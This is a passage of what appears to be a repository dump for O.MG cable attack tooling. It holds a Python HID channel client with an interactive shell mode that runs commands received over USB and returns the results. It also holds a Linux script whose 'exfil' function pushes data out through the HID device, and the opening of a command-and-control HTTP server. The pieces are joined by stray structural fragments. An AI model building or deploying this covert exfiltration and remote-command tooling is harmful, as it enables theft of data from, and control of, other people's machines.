print(f\"Could not find device: {dev_id}\")\n return False\n self.reattach = False\n try:\n if hasattr(dev,\"is_kernel_driver_active\") and dev.is_kernel_driver_active(2):\n self.reattach = True\n dev.detach_kernel_driver(2)\n except NotImplementedError:\n pass\n self.cfg = dev.get_active_configuration()\n self.int = self.cfg.interfaces()[2]\n self.dev = dev\n print(f\"Found and Connecting to Device: {dev_id}\")\n return True\n\n def pad_input(self,input_str, left_pad=False, right_pad=False, chunk_size = 8):\n if left_pad and right_pad:\n raise Exception(\"Cannot add padding on both the left and right side!\")\n # default to right pad\n if not left_pad and not right_pad:\n right_pad = True\n padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size\n padded_str = None\n if isinstance(input_str, bytes):\n input_str = self.decode_msg(input_str)\n if right_pad:\n padded_str = input_str + ' ' * padding_length \n if left_pad:\n padded_str = ' ' * padding_length + input_str\n return padded_str\n\n def split_output(self,message,chunk_size=8):\n chunks = []\n for i in range(0,len(message),chunk_size):\n raw_message = message[i:i+chunk_size]\n padded_message = self.pad_input(raw_message,right_pad=True)\n chunks.append(padded_message)\n return chunks\n \n\n def write(self,msg=None, buffer_limit=8):\n endpoint = self.int.endpoints()[1]\n error = False\n start_buffer_size = len(self.send_buff)\n write_bytes = 0\n if msg:\n self.send_buff=self.send_buff+self.split_output(bytes(msg,'utf-8'),chunk_size=buffer_limit)\n if self.debug:\n print(f\"Msg:{msg} = {self.send_buff}\")\n if len(self.send_buff)>0:\n try:\n part = b\"\"\n if len(self.send_buff)>0:\n part = self.send_buff.pop(0)\n endpoint.write(part)\n write_bytes = len(part)\n end_buffer_size = len(self.send_buff)\n if self.debug:\n print(f\"Write Buffer: ob:{start_buffer_size},wb:{write_bytes},eb:{end_buffer_size}\")\n except Exception as e:\n print(f\"Error in write, {e}\")\n error = True\n return error, write_bytes\n\n\n def _read(self, buffer_limit=8,report_size=8,timeout=200):\n endpoint = self.int.endpoints()[0]\n res = None\n error = False\n raw_message = b\"\"\n recv_packets = 0\n recv_bytes = 0\n try:\n remainder = buffer_limit+report_size*2\n while (remainder > report_size):\n if self.debug:\n print(\"In _read loop...\")\n remainder -= report_size\n rawdata = bytes(self.dev.read(endpoint.bEndpointAddress, report_size, timeout)).rstrip(b\"\\x00\")\n procdata = b\"\"\n for _r in rawdata:\n if 32 <= _r <= 126 or _r in [10]:\n procdata+=chr(_r).encode()\n raw_message+=procdata\n #print(f\"{remainder}/{report_size} = {procdata}\")\n recv_packets += 1\n recv_bytes += len(rawdata)\n except uc.USBTimeoutError:\n pass\n except uc.USBError:\n print(\"Lost device, must attempt to reconnect.\")\n #self.reattach=True\n #self.setup_dev(self.vid,self.pid)\n error = True\n pass # for now so we just time out eventually\n # do a decode\n if recv_packets>0:\n data_str = \"\"\n for c in raw_message:\n data_str += chr(c)\n res = data_str\n else:\n pass\n\n return error, recv_packets, recv_bytes, res\n \n def read(self, retries=1):\n raw_message = b\"\"\n empty_message = 0\n error = False\n recv_bytes=0\n recv_packet=0\n while retries>0:\n if self.debug:\n print(\"In read loop...\")\n try:\n error, recv_packet, recv_byte, raw_data = self._read(\n buffer_limit=(self.read_buff_size*4),\n report_size=self.read_buff_size\n )\n recv_bytes+=recv_byte\n recv_packet+=recv_packet\n \n if error:\n print(\"! Error detected in read()\")\n return raw_message\n if recv_byte == 0:\n retries-=1\n else:\n \t# 0a 20 20 20 20\n raw_message+=bytes(raw_data,'utf-8')\n break\n except KeyError:\n error=True\n retries-=1\n if self.debug:\n print(\"debug: listening for data\")\n return error, recv_packet, recv_bytes, raw_message\n\n def setWriteBuffSize(self,size):\n self.write_buff_size = size\n return size\n \n def setReadBuffSize(self,size):\n self.read_buff_size = size\n return size \n\n def decode_msg(self,data):\n content = None\n try:\n content = data.decode('utf-8')\n except UnicodeDecodeError:\n content = data.decode('latin-1')\n return content \n\n def start(self,max_errors=5):\n iter = 1\n clear_errcnt = 0 \n while self.write_errors < max_errors and self.read_errors < max_errors:\n result = None\n read_error, recv_packet, recv_bytes, raw_message = self.read()\n \n if self.debug:\n print(\"In main loop...\")\n \n if read_error:\n self.read_errors+=1\n else:\n if recv_bytes > 0 and len(raw_message)>1:\n commands = raw_message.decode(\"utf-8\").rstrip().replace(\"\\\\n\",\"\\n\").split(\"\\n\")\n for command in commands:\n if self.debug:\n print(\"In command loop...\")\n result = None\n cleaned_command = command.rstrip().replace(\"\\n\",\"\").replace(\"\\r\",\"\").rstrip().strip()\n if self.debug:\n print(f\"RECV: '{cleaned_command}'\\n\")\n try:\n result = self.do_cmd(cleaned_command)\n except Exception as e:\n print(f\"error! {e}\")\n if result and self.debug:\n print(\"Got new data!\")\n if result:\n result = result + \"\\x07\\x17\\x00\\x00\"\n write_error,send_bytes = self.write(result,self.write_buff_size)\n if write_error:\n self.write_errors+=1\n result=None\n write_error,send_bytes = self.write(result,self.write_buff_size)\n if write_error:\n self.write_errors+=1 \n iter += 1\n if (clear_errcnt > 24):\n self.read_errors = 0\n self.write_errors = 0\n \n def send(self,message,max_errors=5):\n iter = 1\n clear_errcnt = 0 \n write_error,send_bytes = self.write(message,self.write_buff_size)\n self.write_errors =+ 1\n if self.debug:\n print(\"Sending message: %d\" % len(message))\n while len(self.send_buff)>0 and (self.write_errors < max_errors and self.read_errors < max_errors):\n result = message\n write_error,send_bytes = self.write(None,self.write_buff_size)\n if write_error:\n self.write_errors+=1 \n iter += 1\n if (clear_errcnt > 24):\n self.read_errors = 0\n self.write_errors = 0\n if self.write_errors>2:\n print(f\"Send incomplete. Total errored packets: {self.write_errors}\")\n else:\n print(\"Send Complete\")\n\nif __name__ == \"__main__\":\n\n def clean_id(inmsg):\n hexstr = \"0x\"+str(inmsg).lower().replace(\"0x\",\"\")\n return int(hexstr,16)\n \n\n def read_stdin():\n content = None\n # to work around certain windows errors that may pop up\n try:\n if not sys.stdin.isatty():\n data = sys.stdin.buffer.read().strip()\n if data:\n try:\n # Try decoding using 'utf-8'\n content = data.decode('utf-8')\n except UnicodeDecodeError:\n # If 'utf-8' decoding fails, try 'latin-1'\n content = data.decode('latin-1')\n except:\n pass\n return content \n \n parser = argparse.ArgumentParser(description=\"HIDUniversal Tool\")\n\n parser.add_argument(\"--vid\", type=str, default=\"0xd3c0\", help=\"Specify vid parameter\")\n parser.add_argument(\"--pid\", type=str, default=\"0xd34d\", help=\"Specify pid parameter\")\n parser.add_argument(\"--debug\", action=\"store_true\", help=\"Enable debug mode\")\n parser.add_argument(\"--readbuff\", type=int, help=\"Specify read buffer size\",default=8)\n parser.add_argument(\"--sendbuff\", type=int, help=\"Specify send buffer size\",default=8)\n\n args = parser.parse_args()\n debug = False\n if args.debug:\n debug=True\n print(\"Starting Up...\")\n \n hdx = HIDX(vid=clean_id(args.vid),pid=clean_id(args.pid),rbuff=int(args.readbuff),debug=debug,sbuff=int(args.sendbuff))\n stdin_data = read_stdin()\n if stdin_data:\n if debug:\n print(\"In STDIN Mode\")\n hdx.send(stdin_data)\n else:\n if debug:\n print(\"In Interactive Shell Mode\")\n hdx.start()\n"
},
{
"path": "tools/HIDX/shell/linux-hidexfil.sh",
"content": "#!/bin/sh\n# Note: This uses base components to implement\n# More advanced techniques are possible \n# but this is a simple demo to allow you to call exfil \"data\"\n# and write it out\n\n# wasabi\n\ngetOMGDev(){\n\t# not perfect but just looking for the last hid device we found\n\tdevn=$(dmesg|grep hidraw|grep hiddev|grep input2|tail -n1|awk -F ',' '{print $2}'|awk -F ':' '{print $1}')\n\techo $devn \n}\n\nexfil(){\n\tIN=\"$1\"\n\tOUT=$(getOMGDev)\n\t# thats it! \n\techo \"${IN}\" > \"${OUT}\"\n}"
}
]
![](\"https://o.mg.lol/OMGCable-pkg.jpg\")
"
},
{
"path": "c2server/c2server.py",
"content": "import json\nimport os\nimport random as rnd\nimport socket\nimport sys\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer, SimpleHTTPRequestHandler, ThreadingHTTPServer\nimport threading\nimport urllib.request\nimport re\nfrom urllib.parse import urlparse, parse_qs\nfrom datetime import datetime\nimport monocypher as mono\n\nprovisionFile_ver = 3\nSESSION_LIFESPAN = 120\nserverPort = 8000\nadminPort = 8080\n\ndef get_ip_address():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n ip_address = s.getsockname()[0]\n s.close()\n return ip_address\n except Exception as e:\n print(\"Error occurred while getting IP address:\", e)\n return None\n\n\nip_address = get_ip_address()\nif ip_address:\n print(\"The computer's current IP address is:\", ip_address)\nelse:\n print(\"Could not determine the computer's IP address.\")\nhostName = ip_address\n\n\ndef write_c2log(alias, direction, msg):\n with open(\"c2log\", \"a\") as f:\n timestamp = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n f.write(f\"{alias}, {timestamp}, {direction}, {msg}\\n\")\n\nclass c2server(BaseHTTPRequestHandler):\n def end_headers(self):\n self.send_header('Access-Control-Allow-Origin', '*')\n self.send_header('Access-Control-Allow-Methods', 'GET,POST')\n self.send_header('Access-Control-Allow-Headers', 'Content-Type')\n SimpleHTTPRequestHandler.end_headers(self)\n\n \n def do_GET(self):\n i = self.path.find(\"/C2=\")\n if i < 0:\n return\n\n print(\"------